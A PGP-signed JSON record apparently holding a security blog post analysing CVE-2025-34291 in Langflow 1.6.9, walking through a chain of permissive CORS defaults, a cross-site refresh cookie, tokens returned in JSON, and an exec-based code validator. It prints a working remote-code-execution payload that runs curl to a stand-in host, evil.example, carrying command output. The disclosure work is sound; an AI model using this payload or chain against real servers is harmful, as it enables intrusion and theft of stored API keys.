-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The function that warns and the function that installs\n\nHere is the relevant block from `main.py` in Langflow 1.6.9, top to bottom:\n\n```python\ndef warn_about_future_cors_changes(settings):\n \"\"\"Warn users about upcoming CORS security changes in version 1.7.\"\"\"\n using_defaults = settings.cors_origins == \"*\" and settings.cors_allow_credentials is True\n\n if using_defaults:\n logger.warning(\n \"DEPRECATION NOTICE: Starting in v1.7, CORS will be more restrictive by default. \"\n \"Current behavior allows all origins (*) with credentials enabled. \"\n \"Consider setting LANGFLOW_CORS_ORIGINS for production deployments. \"\n \"See documentation for secure CORS configuration.\"\n )\n\n if settings.cors_origins == \"*\" and settings.cors_allow_credentials:\n logger.warning(\n \"SECURITY NOTICE: Current CORS configuration allows all origins with credentials. \"\n \"In v1.7, credentials will be automatically disabled when using wildcard origins. \"\n \"Specify exact origins in LANGFLOW_CORS_ORIGINS to use credentials securely.\"\n )\n\n\ndef create_app():\n \"\"\"Create the FastAPI app and include the router.\"\"\"\n # ...\n settings = get_settings_service().settings\n\n # Warn about future CORS changes\n warn_about_future_cors_changes(settings)\n\n # Configure CORS using settings (with backward compatible defaults)\n origins = settings.cors_origins\n if isinstance(origins, str) and origins != \"*\":\n origins = [origins]\n\n # Apply current CORS configuration (maintains backward compatibility)\n app.add_middleware(\n CORSMiddleware,\n allow_origins=origins,\n allow_credentials=settings.cors_allow_credentials,\n allow_methods=settings.cors_allow_methods,\n allow_headers=settings.cors_allow_headers,\n )\n```\n\nThe first function names the threat: wildcard origins with credentials enabled. The second function reads the same `settings.cors_origins` and `settings.cors_allow_credentials` it just complained about and hands them to `CORSMiddleware`. The inline comment at the call site says \"maintains backward compatibility.\" The defaults that produce the warning come from `services/settings/base.py`:\n\n```python\n# CORS Settings\ncors_origins: list[str] | str = \"*\"\n\"\"\"Allowed origins for CORS. Can be a list of origins or '*' for all origins.\nDefault is '*' for backward compatibility. In production, specify exact origins.\"\"\"\ncors_allow_credentials: bool = True\n\"\"\"Whether to allow credentials in CORS requests.\nDefault is True for backward compatibility. In v1.7, this will be changed to False when using wildcard origins.\"\"\"\n```\n\nThe bug is in the docstring. The bug is in the warning string. The bug is in the inline comment. The bug is the literal value the field declarations carry. The fix is a one-character edit in two places. The version that performed the edit is 1.7.0; the version that knew it had to and did not is 1.6.9.\n\n## What `allow_origins=\"*\"` plus `allow_credentials=True` actually does\n\nStarlette's `CORSMiddleware`, which FastAPI re-exports, has a documented behavior for this combination. It does not literally return `Access-Control-Allow-Origin: *` together with `Access-Control-Allow-Credentials: true`, because no browser will honor the pair. Instead, when `allow_credentials=True` and the configured origin list contains `\"*\"`, the middleware reflects the request's `Origin` header into the response. The header returned to a request from `https://evil.example` is `Access-Control-Allow-Origin: https://evil.example`, paired with `Access-Control-Allow-Credentials: true`. Browsers accept that combination and let the requesting page read the response body.\n\nThe verified Nuclei template for this CVE confirms the behavior on the wire:\n\n```http\nOPTIONS /api/v1/refresh HTTP/1.1\nHost: langflow.victim.example\nOrigin: https://scanme.sh\nAccess-Control-Request-Method: POST\nAccess-Control-Request-Headers: content-type\n\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: https://scanme.sh\nAccess-Control-Allow-Credentials: true\n```\n\nThe \"wildcard\" is not in the response. The wildcard is in the configuration. The middleware turned it into \"any origin you happen to send.\"\n\n## The cookie that travels\n\nThe cookie the cross-origin request needs to carry is `refresh_token_lf`. Its defaults live in `services/settings/auth.py`:\n\n```python\nREFRESH_SAME_SITE: Literal[\"lax\", \"strict\", \"none\"] = \"none\"\n\"\"\"The SameSite attribute of the refresh token cookie.\"\"\"\nREFRESH_SECURE: bool = True\n\"\"\"The Secure attribute of the refresh token cookie.\"\"\"\nREFRESH_HTTPONLY: bool = True\n\"\"\"The HttpOnly attribute of the refresh token cookie.\"\"\"\n```\n\n`SameSite=None` is a deliberate choice. The browser default for cookies that omit the SameSite attribute is `Lax`, which would not send a refresh cookie on a cross-site POST. A developer who typed `none` did so to make the cookie travel cross-site. The `Secure` and `HttpOnly` flags mitigate adjacent classes of attack: `HttpOnly` keeps the cookie out of JavaScript, `Secure` confines it to HTTPS. Neither stops the browser from sending the cookie on a credentialed `fetch()` from `evil.example` to `langflow.victim.example`.\n\n## The /refresh handler hands the access token back in the JSON body\n\nThe standard objection at this point is that `HttpOnly` cookies are not readable by `fetch()`. That objection is correct and irrelevant. `api/v1/login.py`'s `/refresh` handler does not require the attacker to read the cookies it sets; it returns the freshly minted access token in the response body.\n\n```python\n@router.post(\"/refresh\")\nasync def refresh_token(request: Request, response: Response, db: DbSession):\n token = request.cookies.get(\"refresh_token_lf\")\n if token:\n tokens = await create_refresh_token(token, db)\n response.set_cookie(\"refresh_token_lf\", tokens[\"refresh_token\"], ...)\n response.set_cookie(\"access_token_lf\", tokens[\"access_token\"], ...)\n return tokens\n```\n\n`return tokens` serializes both tokens into JSON. The attacker's page, reading the response of a credentialed `fetch()` that the CORS middleware just authorized, has the access token as a string in a JSON object. The `HttpOnly` flag protects the cookie copy of the token. There are two copies. The other copy is the one the handler hands to whoever asked.\n\n## The validator is `exec()`\n\nThe endpoint that turns a valid access token into remote code execution is `POST /api/v1/validate/code`. The handler is six lines:\n\n```python\n@router.post(\"/code\", status_code=200)\nasync def post_validate_code(code: Code, _current_user: CurrentActiveUser) -> CodeValidationResponse:\n try:\n errors = validate_code(code.code)\n return CodeValidationResponse(\n imports=errors.get(\"imports\", {}),\n function=errors.get(\"function\", {}),\n )\n```\n\nThe dispatch passes the submitted string to `validate_code` in `utils/validate.py`. The implementation of `validate_code` decides whether the code is valid by running it:\n\n```python\ndef validate_code(code):\n errors = {\"imports\": {\"errors\": []}, \"function\": {\"errors\": []}}\n tree = ast.parse(code)\n # ...\n for node in tree.body:\n if isinstance(node, ast.FunctionDef):\n code_obj = compile(ast.Module(body=[node], type_ignores=[]), \"\", \"exec\")\n try:\n exec_globals = _create_langflow_execution_context()\n exec(code_obj, exec_globals)\n except Exception as e:\n errors[\"function\"][\"errors\"].append(str(e))\n return errors\n```\n\nSubmit a Python file containing a `def`. The validator compiles the def, calls `exec(code_obj, exec_globals)`, catches and reports any exception. The function body itself is not executed: `exec` of a `def` statement only binds the function name in the namespace. The function's default-argument expressions, on the other hand, are evaluated at definition time. That is standard Python semantics and it is the primitive that closes this chain:\n\n```python\ndef x(_=__import__('os').system('curl https://evil.example/$(id)')):\n pass\n```\n\nThe dispatcher reads the submitted string, calls `ast.parse`, finds one `FunctionDef`, compiles it, hands it to `exec`. Python evaluates the default-argument expression to bind `_`, runs `os.system`, returns the function object. `validate_code` records no error. `post_validate_code` returns a 200 with an empty error list. The catch block catches the exec'd code's exceptions; the absence of exceptions is the validator's success path. The endpoint name and docstring describe a code validator that returns a list of errors. The implementation is `exec`.\n\n## The exploit, in one HTML page\n\nA logged-in Langflow administrator, whose responsibilities include building and deploying agent workflows, browses a page hosted on `evil.example` while their `refresh_token_lf` cookie is live. The default `REFRESH_TOKEN_EXPIRE_SECONDS` value is one week. The page contains the following:\n\n```html\n\n```\n\nTwo `fetch()` calls. No password, no clickjacking, no XSS on the target. The victim's only action is to visit a page in a browser that holds their Langflow refresh cookie. The server-side artifacts include encrypted Langflow global variables, which the platform's threat model designates as the secure store for API keys to every model provider and tool integration the operator has wired into a flow. The chain ends with the contents of that store inside the attacker's process.\n\n## The fix in 1.6.0 was an env var, and the real fix was a closed pull request\n\nThe disclosure timeline reported by Obsidian Security: HackerOne report filed July 29, 2025. CVE-2025-34291 assigned October 23, 2025. Public disclosure December 5, 2025. CISA added the entry to the Known Exploited Vulnerabilities catalog on May 21, 2026, with a federal remediation deadline of June 4, 2026. The deadline passed four days before this post.\n\nThe vendor's response inside the gap is on the record in the project's pull-request history. PR #9441, titled \"fix: update CORS configuration and add env vars to allow for user control,\" would have automatically disabled credentials when origins were wildcarded and switched the refresh cookie's SameSite default from `none` to `lax`. It was closed on September 8, 2025. The replacement that landed three days later, in commit `bfc7c8b`, added `warn_about_future_cors_changes` to `main.py` and introduced the `LANGFLOW_CORS_*` environment variables. Operators who knew to set `LANGFLOW_CORS_ORIGINS` and `LANGFLOW_CORS_ALLOW_CREDENTIALS` could now override the defaults. Operators who did not remained on `*` with credentials enabled. The pull request that would have closed the bug was closed; the commit that shipped instead added a log line.\n\nThat is the `safe-mode-was-opt-in` shape. A project exposes a security-relevant flag with an unsafe default, then treats the existence of the flag as the mitigation. The vm2 exhibit on that pattern catalog shipped `bufferAllocLimit` as `Infinity` and included a regression test asserting the default still allocated 64 MB host buffers. The DeepSeek-TUI exhibit shipped `allow_shell` and `auto_approve` as booleans whose `unwrap_or(true)` paths granted shell access to anything that did not ask not to have it. The Langflow exhibit extends the pattern from libraries shipped to developers to a deployed service shipped to operators, and adds a flourish the prior exhibits did not have: the unsafe default in `main.py` is in lexical adjacency to the function that logs the unsafe default at every startup. The warning is the mitigation. The mitigation is the proof that the vendor knew.\n\nThe second leg of the chain is `content-is-command` at its purest. The `/api/v1/validate/code` handler's name encodes the contract the caller expects: submit code, receive a list of validation errors, no code runs. The implementation chose to determine validity by `exec`-ing the function definition under a stocked globals dict. The moment Langflow decides the code is valid is the moment Python has finished evaluating its default arguments. A real validator would have walked the AST and refused nodes whose evaluation has side effects; the file is called `validate.py` and uses `ast.parse` to get the tree, so the author knew the AST existed. They reached for `exec` anyway.\n\nCISA added CVE-2025-34291 to KEV because something out there is doing all of this. The federal deadline to remediate was June 4. The KEV entry does not require the vendor's December disclosure; it requires only the in-wild proof. The deadline is the federal government noting how much time the operator has had to act on the warning the vendor's own startup log has been emitting since the day it shipped.\n\nPoC: [projectdiscovery/nuclei-templates CVE-2025-34291.yaml](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-34291.yaml)","closing_line":"The warning was not the fix.","hook_md":"Langflow 1.6.9's `src/backend/base/langflow/main.py` defines a function called `warn_about_future_cors_changes`. Its body logs one line at server startup, verbatim: \"SECURITY NOTICE: Current CORS configuration allows all origins with credentials.\" The next function in the same file, `create_app`, calls `warn_about_future_cors_changes(settings)` and then, eight lines down, installs the CORS middleware the warning describes.\n\nCVE-2025-34291 is the four-month window between Langflow learning the configuration was exploitable and Langflow shipping a release that flipped the default. The patch that did ship in the interim was an environment variable the operator had to set.","post_id":586,"slug":"langflow-cve-2025-34291-warned-then-installed","title":"CVE-2025-34291: Langflow's CORS Middleware Warns It Is Exploitable, Then Installs The Exploit","type":"initial","unreadable_sentence":"The warning is the mitigation. The mitigation is the proof that the vendor knew."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaibb+AAKCRDeZjl4jgkQ JtUQAQD773dbrOYbyUgcmySgXDzoFn0gYEYzuICck5JU+NYMNgD+IWeyV9kO2mB5 qmIwPUJRSTzpCq1SvIAiayHRrwk8BA0= =qIWN -----END PGP SIGNATURE-----